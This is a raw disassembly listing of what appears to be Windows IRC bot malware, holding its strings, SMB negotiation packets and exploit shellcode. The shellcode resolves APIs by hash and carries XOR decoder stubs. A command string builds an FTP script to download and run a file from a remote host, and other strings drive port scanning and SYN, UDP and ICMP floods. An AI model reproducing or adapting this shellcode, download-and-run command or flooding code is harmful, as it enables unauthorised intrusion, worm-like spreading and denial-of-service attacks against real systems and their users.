aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FF60+2C4o
					; sub_4126B0+91o ...
		dd 0
dword_443CD4	dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CE4	dd 0A0D7325h, 0						; sub_42D1A0+71o
dword_443CEC	dd 25207325h, 253A2073h, 0A0D73h, 0					; sub_412970+8Fo
dword_443CFC	dd 4255505Bh, 5D43494Ch, 0dword_443D08	dd 4952505Bh, 45544156h, 5Dhdword_443D14	dd 202Eh						; sub_4126B0+E5o
dword_443D18	dd 3A6E616Ch, 20haUptime		db 'uptime',0           ; DATA XREF: ___:loc_412F27o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412ED4o
		align 10h
aId		db 'id',0               ; DATA XREF: ___:loc_412E7Ao
		align 4
asc_443D34:				; DATA XREF: ___:loc_412E63o
		dw 3Ch
		unicode	0, <>,0
asc_443D38:				; DATA XREF: ___:loc_412E4Co
		dw 3Eh
		unicode	0, <>,0
asc_443D3C	db '==',0               ; DATA XREF: ___:loc_412E35o
		align 10h
asc_443D40	db '!=',0               ; DATA XREF: ___:00412E21o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4137E0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4192C0+312o
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4192C0+2EAo
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4192C0+272o
					; sub_4192C0+297o
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_4192C0+210o
		align 10h
aEstablished	db 'established',0      ; DATA XREF: sub_4192C0+205o
		align 10h
off_443D80	dd offset dword_504354	; DATA XREF: sub_4192C0+140o
					; ___:0042B302o ...
dword_443D84	dd 2D464544h, 504354h, 0					; sub_4192C0+12Eo
dword_443D90	dd 652Dh	dword_443D94	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
		align 10h
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419CF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419CCCo
		align 10h
byte_443DD0	db 1			; DATA XREF: sub_41A290r
		align 4
dword_443DD4	dd 2Eh							; ___:0041B235o ...
dword_443DD8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_443E24:				; DATA XREF: ___:00421759o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_443E38	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E4C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E84	dd 63257325h, 0						; sub_41F860+E5o
dword_443E8C	dd 72h		dword_443E90	dd 30h							; sub_424840+327o
dword_443E94	dd 3039h	dword_443E98	dd 383631h	dword_443E9C	dd 323931h	dword_443EA0	dd 3631h	dword_443EA4	dd 323731h	dword_443EA8	dd 3031h	off_443EAC	dd offset dword_5C005C	; DATA XREF: ___:0041C117r
					; ___:0041C287r
word_443EB0	dw 0			; DATA XREF: ___:0041C121r
					; ___:0041C291r
		align 4
off_443EB4	dd offset dword_49005C	; DATA XREF: ___:0041C0E6r
					; ___:0041C256r
dword_443EB8	dd 430050h						; ___:0041C25Br
dword_443EBC	dd 24h							; ___:0041C27Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D830+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D830+567o
		align 8
asc_443EF8	db 0Dh,0Ah		; DATA XREF: sub_41D830+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D830+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D830+3C0o
					; ___:0041FC87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D830+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D830+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D830+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D830+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D830+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E37Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E32Fo
		dd 0
dword_443FFC	dd 28737973h, 6F626572h, 29746Fh, 0dword_44400C	dd 6469706Bh, 7325203Ah, 0dword_444018	dd 203A736Bh, 7325hdword_444020	dd 202E6425h, 7325202Fh, 0dword_44402C	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+694o
					; sub_41EF30+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30:loc_41F595o
					; sub_41EF30+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EF30+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EF30+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+505o
					; sub_41EF30+51Ao
		align 4
asc_4440A8:				; DATA XREF: sub_41EF30+2EFo
					; sub_41EF30+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+286o
					; sub_41EF30+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+254o
					; sub_41EF30+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+222o
					; sub_41EF30+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+1F3o
					; sub_41EF30+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FCBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_41FF90:loc_41FFE5o
					; sub_420530+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4200F0+CBo
					; sub_4207E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
					; sub_4207E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420530+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420530+20o
					; sub_420530+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4207E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4207E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4207E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4207E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4207E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4207E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4207E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4207E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4207E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4207E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4207E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4207E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4207E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4207E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4207E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4207E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4207E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4207E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4207E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4207E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4207E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4207E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4207E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4207E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4207E0+EEo
		align 4
off_444324	dd offset word_616C4E	; DATA XREF: sub_4207E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4207E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4207E0+CDo
		align 4
off_44433C	dd offset byte_4D444D	; DATA XREF: sub_4207E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4207E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4207E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4207E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4207E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4207E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4207E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4207E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4207E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4207E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4207E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4207E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4207E0+55o
					; sub_4207E0:loc_420A6Bo
		align 10h
asc_444410:				; DATA XREF: sub_420E10:loc_420ECFo
					; sub_420E10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420E10+94o
					; sub_420E10:loc_42107Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420E10+84o
					; sub_420E10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4227F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_444448	dd 1BDh							; sub_422A40+310o ...
off_44444C	dd offset sub_401811	; DATA XREF: ___:00423E93r
dword_444450	dd 0							; sub_4235F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401811h, 0
		dd 1, 19h dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422A40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422A40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422A40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422A40+747o
off_444580	dd offset loc_612D20	; DATA XREF: sub_422A40+737o
					; sub_422A40+7A3o ...
dword_444584	dd 722D20h						; sub_422A40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422A40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422A40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422A40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422A40+6Do
		align 4
		dd 0
dword_44467C	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423B25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423CD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004241D7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424126o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042406Fo
		dd 3 dup(0)
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_424840+BDo
		align 10h
dword_444840	dd 10FF8h, 0	dword_444848	dd 10FF8h	dword_44484C	dd 7FFDF020h, 0	dword_444854	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4448DC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_44490C	dd 0		dword_444910	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_444918	proc near		; DATA XREF: sub_425020+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_444A14
		push	dword ptr [esi]
		push	63D61209h
		call	sub_444A2A
		mov	[esi+8], eax
		call	sub_4449DD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_444A2A
		mov	[esi+0Ch], eax
		call	sub_44498F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_444A2A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_444918	endp


; =============== S U B	R O U T	I N E =======================================



sub_44498F	proc near		; CODE XREF: sub_444918+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4449B8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_44498F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449B8	proc near		; CODE XREF: sub_44498F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4449C7:				; CODE XREF: sub_4449B8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4449D4
		inc	ebx
		jmp	short loc_4449C7
; ---------------------------------------------------------------------------


loc_4449D4:				; CODE XREF: sub_4449B8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4449B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449DD	proc near		; CODE XREF: sub_444918+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4449F5:				; CODE XREF: sub_4449DD+1Ej
		cmp	[ecx], ebx
		jz	short loc_4449FD
		mov	ecx, [ecx]
		jmp	short loc_4449F5
; ---------------------------------------------------------------------------


loc_4449FD:				; CODE XREF: sub_4449DD+1Aj
		mov	edx, edi


loc_4449FF:				; CODE XREF: sub_4449DD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_444A09
		mov	edx, [edx+4]
		jmp	short loc_4449FF
; ---------------------------------------------------------------------------


loc_444A09:				; CODE XREF: sub_4449DD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4449DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A14	proc near		; CODE XREF: sub_444918+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_444A14	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A2A	proc near		; CODE XREF: sub_444918+16p
					; sub_444918+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_444A40:				; CODE XREF: sub_444A2A+33j
		jecxz	short loc_444A7A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_444A4D:				; CODE XREF: sub_444A2A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_444A59
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_444A4D
; ---------------------------------------------------------------------------


loc_444A59:				; CODE XREF: sub_444A2A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_444A40
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_444A7A:				; CODE XREF: sub_444A2A:loc_444A40j
					; sub_444A2A:loc_444A7Aj
		jmp	short loc_444A7A
sub_444A2A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_444A80	proc near		; DATA XREF: sub_425020+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_444AD2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_444A9D:				; CODE XREF: sub_444A80+38j
		jecxz	short loc_444ACD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_444AA8:				; CODE XREF: sub_444A80+32j
		lodsb
		test	al, al
		jz	short loc_444AB4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_444AA8
; ---------------------------------------------------------------------------


loc_444AB4:				; CODE XREF: sub_444A80+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_444A9D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_444ACD:				; CODE XREF: sub_444A80:loc_444A9Dj
		mov	[esp+arg_0], ebx
		retn
sub_444A80	endp


; =============== S U B	R O U T	I N E =======================================



sub_444AD2	proc near		; CODE XREF: sub_444A80+7p

; FUNCTION CHUNK AT 00444B0A SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_444AEB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_444AF6
; ---------------------------------------------------------------------------


loc_444AEB:				; CODE XREF: sub_444AD2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_444AF6:				; CODE XREF: sub_444AD2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_444B0A
sub_444AD2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444AFD	proc near		; CODE XREF: sub_444AD2:loc_444B0Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_444AFD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444AD2


loc_444B0A:				; CODE XREF: sub_444AD2+29j
		call	sub_444AFD
; END OF FUNCTION CHUNK	FOR sub_444AD2
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_444BA4	dd 23h		dword_444BA8	dd 60h		dword_444BAC	dd 62B0606h, 2050501h, 0A0hdword_444BB8	dd 0A1h		dword_444BBC	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424840+16Do
		align 4


loc_444BC8:				; DATA XREF: sub_424840+100o
		jmp	short near ptr dword_444BD0
; ---------------------------------------------------------------------------
		align 10h
dword_444BD0	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425020+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------


loc_444C78:				; DATA XREF: sub_4254E0+CCo
		jmp	short loc_444C7C
; ---------------------------------------------------------------------------


loc_444C7A:				; CODE XREF: ___:loc_444C7Cp
		jmp	short loc_444C81
; ---------------------------------------------------------------------------


loc_444C7C:				; CODE XREF: ___:loc_444C78j
		call	loc_444C7A


loc_444C81:				; CODE XREF: ___:loc_444C7Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_444C86	dw 0FFFFh		; DATA XREF: sub_4254E0+D3w
		db 80h,	73h, 0Eh
byte_444C8B	db 0FFh			; DATA XREF: sub_4254E0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_444C90:				; DATA XREF: sub_4254E0+A7o
		jmp	short loc_444C94
; ---------------------------------------------------------------------------


loc_444C92:				; CODE XREF: ___:loc_444C94p
		jmp	short loc_444C99
; ---------------------------------------------------------------------------


loc_444C94:				; CODE XREF: ___:loc_444C90j
		call	loc_444C92


loc_444C99:				; CODE XREF: ___:loc_444C92j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_444C9D	db 0FFh			; DATA XREF: sub_4254E0+AEw
		dw 7380h
		db 0Ch
byte_444CA1	db 0FFh			; DATA XREF: sub_4254E0+B4w
		dw 0E243h
		dd 0F9h
dword_444CA8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_425270+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444D0C	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_444D1C	dd 74656720h	byte_444D20	db 20h			; DATA XREF: sub_425270+A2r
dword_444D21	dd 0E8006A00h	dword_444D25	dd 17h							; sub_425270+D2r
dword_444D29	dd 0E8C30175h	dword_444D2D	dd 1							; sub_425270+E7r
byte_444D31	db 0, 6Ah, 0		; DATA XREF: sub_425270+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_444D3B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_426450+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_4266A0+D0o
		align 10h
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
		align 4
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
		align 8
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_426820+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_426820+2Bo
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_426820+23o
		align 10h
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_426820+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_4269A0+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
		align 10h
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
		align 10h
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
		align 4
		dd 0
aSyn		db 'syn',0              ; DATA XREF: sub_426EB0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o
		align 4
		dd 0
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
		align 8
aUdp		db 'udp',0              ; DATA XREF: sub_427590+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_427650+C0o
		align 10h
